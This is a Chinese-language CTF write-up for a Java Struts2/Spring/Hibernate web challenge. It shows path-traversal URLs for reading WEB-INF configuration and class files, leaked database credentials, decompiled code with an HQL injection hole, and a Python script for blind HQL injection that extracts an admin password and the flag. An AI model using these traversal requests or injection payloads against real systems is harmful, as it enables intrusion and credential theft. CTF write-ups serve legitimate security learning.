不会做，直接看wp
首先dirsearch可以查到一个list页面，访问后跳转至后台界面。
查看网页源代码，看到一堆css，其中有一段关键代码：

  1. body{
  2.         background:url(./loadimage?fileName=web_login_bg.jpg) no-repeat center;
  3.         background-size: cover;
  4.     }

可以看出来是任意文件下载漏洞，又因为抓包时看到

  1. Cookie: JSESSIONID=E0DF23682D5579E82250E814AC694808

所以这是个java web网站，读取配置文件web.xml：

  1. http://220.249.52.134:57839/loadimage?fileName=../../WEB-INF/web.xml
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app id="WebApp_9" version="2.4"
  3.          xmlns="http://java.sun.com/xml/ns/j2ee"
  4.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  5.          xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
  6.     <display-name>Struts Blank</display-name>
  7.     <filter>
  8.         <filter-name>struts2</filter-name>
  9.         <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
  10.     </filter>
  11.     <filter-mapping>
  12.         <filter-name>struts2</filter-name>
  13.         <url-pattern>/*</url-pattern>
  14.     </filter-mapping>
  15.     <welcome-file-list>
  16.         <welcome-file>/ctfpage/index.jsp</welcome-file>
  17.     </welcome-file-list>
  18.     <error-page>
  19.         <error-code>404</error-code>
  20.         <location>/ctfpage/404.html</location>
  21.     </error-page>
  22. </web-app>

发现是struts2框架，所以接着继续读取struts2的配置文件：

  1. http://220.249.52.134:57839/loadimage?fileName=../../WEB-INF/classes/struts.xml
  1. <?xml version="1.0" encoding="UTF-8"?>
  3. <!DOCTYPE struts PUBLIC
  4.         "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
  5.         "http://struts.apache.org/dtds/struts-2.3.dtd">
  6. <struts>
  7.     <constant name="strutsenableDynamicMethodInvocation" value="false"/>
  8.     <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
  9.     <constant name="struts.action.extension" value=","/>
  10.     <package name="front" namespace="/" extends="struts-default">
  11.         <global-exception-mappings>
  12.             <exception-mapping exception="java.lang.Exception" result="error"/>
  13.         </global-exception-mappings>
  14.         <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
  15.             <result name="error">/ctfpage/login.jsp</result>
  16.             <result name="success">/ctfpage/welcome.jsp</result>
  17.         </action>
  18.         <action name="loadimage" class="com.cuitctf.action.DownloadAction">
  19.             <result name="success" type="stream">
  20.                 <param name="contentType">image/jpeg</param>
  21.                 <param name="contentDisposition">attachment;filename="bg.jpg"</param>
  22.                 <param name="inputName">downloadFile</param>
  23.             </result>
  24.             <result name="suffix_error">/ctfpage/welcome.jsp</result>
  25.         </action>
  26.     </package>
  27.     <package name="back" namespace="/" extends="struts-default">
  28.         <interceptors>
  29.             <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
  30.             <interceptor-stack name="userAuth">
  31.                 <interceptor-ref name="defaultStack" />
  32.                 <interceptor-ref name="oa" />
  33.             </interceptor-stack>
  35.         </interceptors>
  36.         <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
  37.             <interceptor-ref name="userAuth">
  38.                 <param name="excludeMethods">
  39.                     execute
  40.                 </param>
  41.             </interceptor-ref>
  42.             <result name="login_error">/ctfpage/login.jsp</result>
  43.             <result name="list_error">/ctfpage/welcome.jsp</result>
  44.             <result name="success">/ctfpage/welcome.jsp</result>
  45.         </action>
  46.     </package>
  47. </struts>

可以看到有很多类，构造payload：

  1. http://220.249.52.134:57839/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class

就可以把文件下载下来，反编译之后可以看到代码，但是并没有什么用。
很多时候 , Struts , Spring , Hibernate 三大框架往往是一同使用的 , 因此被称为 “ SSH “ 三大框架 。所以接下来要读取Spring的配置文件：

  1. http://220.249.52.134:57839/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3.        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.        xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5.     <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
  6.         <property name="driverClassName">
  7.             <value>com.mysql.jdbc.Driver</value>
  8.         </property>
  9.         <property name="url">
  10.             <value>jdbc:mysql://localhost:3306/sctf</value>
  11.         </property>
  12.         <property name="username" value="root"/>
  13.         <property name="password" value="root" />
  14.     </bean>
  15.     <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
  16.         <property name="dataSource">
  17.             <ref bean="dataSource"/>
  18.         </property>
  19.         <property name="mappingLocations">
  20.             <value>user.hbm.xml</value>
  21.         </property>
  22.         <property name="hibernateProperties">
  23.             <props>
  24.                 <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
  25.                 <prop key="hibernate.show_sql">true</prop>
  26.             </props>
  27.         </property>
  28.     </bean>
  29.     <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
  30.         <property name="sessionFactory">
  31.             <ref bean="sessionFactory"/>
  32.         </property>
  33.     </bean>
  34.     <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
  35.         <property name="sessionFactory">
  36.             <ref bean="sessionFactory"/>
  37.         </property>
  38.     </bean>
  39.     <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
  40.         <property name="transactionManager">
  41.             <ref bean="transactionManager"/>
  42.         </property>
  43.         <property name="transactionAttributes">
  44.             <props>
  45.                 <prop key="add">PROPAGATION_REQUIRED</prop>
  46.                 <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
  47.             </props>
  48.         </property>
  49.     </bean>
  50.     <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
  51.         <property name="hibernateTemplate">
  52.             <ref bean="hibernateTemplate"/>
  53.         </property>
  54.     </bean>
  55.     <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
  56.         <property name="userDao">
  57.             <ref bean="userDAO"/>
  58.         </property>
  59.     </bean>
  60. </beans>

在这里就可以看到数据库的名称，用户名，密码。
并且程序通过com.cuitctf.dao.impl.UserDaoImpl类和com.cuitctf.service.impl.UserServiceImpl与数据库进行连接查询。接下来下载这两个即可

  1. package com.cuitctf.dao.impl;
  3. import com.cuitctf.dao.UserDao;
  4. import com.cuitctf.po.User;
  5. import java.util.List;
  6. import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
  8. public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
  9.     public List<User> findUserByName(String name) {
  10.         return getHibernateTemplate().find("from User where name ='" + name + "'");
  11.     }
  13.     public List<User> loginCheck(String name, String password) {
  14.         return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
  15.     }
  16. }
  1. package com.cuitctf.service.impl;
  3. import com.cuitctf.dao.UserDao;
  4. import com.cuitctf.po.User;
  5. import com.cuitctf.service.UserService;
  6. import java.util.List;
  7. import java.util.regex.Pattern;
  9. public class UserServiceImpl implements UserService {
  10.     private UserDao userDao;
  12.     public UserDao gerUserDao() {
  13.         return this.userDao;
  14.     }
  16.     public void setUserDao(UserDao userDao2) {
  17.         this.userDao = userDao2;
  18.     }
  20.     public List<User> findUserByName(String name) {
  21.         return this.userDao.findUserByName(name);
  22.     }
  24.     public List<User> loginCheck(String name, String password) {
  25.         String name2 = name.replaceAll(" ", "").replaceAll("=", "");
  26.         Pattern.compile("^[0-9a-zA-Z]+$").matcher(name2);
  27.         if (Pattern.compile("^[0-9a-zA-Z]+$").matcher(password).find()) {
  28.             return this.userDao.loginCheck(name2, password);
  29.         }
  30.         return null;
  31.     }
  32. }

通过脚本跑出来flag：

  1. import requests
  2. url = "http://220.249.52.134:57839/zhuanxvlogin"
  3. # url = "http://localhost:9090/zhuanxvlogin"
  4. def first():
  5.     admin_password = ""
  6.     for i in range(1,9):
  7.         for n in range(30,140):
  8.             guess = chr(n)
  9.             if guess == "_" or guess == "%":
  10.                 continue
  11.             username = "aaa'\nor\n(select\nsubstring(password,"+str(i)+",1)\nfrom\nUser\nwhere\nname\nlike\n'homamamama')\nlike\n'"+guess+"'\nor\n''like'"
  12.             data = {"user.name": username, "user.password": "a"}
  13.             req = requests.post(url, data=data, timeout=1000).text
  14.             if len(req)>5000:
  15.                 admin_password = admin_password + guess
  16.                 print "admin password: "+ admin_password
  17.                 break
  18.     return admin_password
  19. def second(admin_password):
  20.     flag = ""
  21.     for i in range(1,50):
  22.         for n in range(30,140):
  23.             guess = chr(n)
  24.             if guess == "_" or guess == "%":
  25.                 continue
  26.             username = "aa'\nor\n(select\nsubstring(welcometoourctf,"+str(i)+",1)\nfrom\nFlag)\nlike\n'"+guess+"'\nand\n''like'"
  27.             data = {"user.name": username, "user.password": admin_password}
  28.             req = requests.post(url, data=data, timeout=1000).text
  29.             if len(req)>5000:
  30.                 flag = flag + guess
  31.                 print "flag:" + flag
  32.                 break
  33. admin_password = first()    
  34. second(admin_password)

参考

https://www.jianshu.com/p/b940d0aaa9fa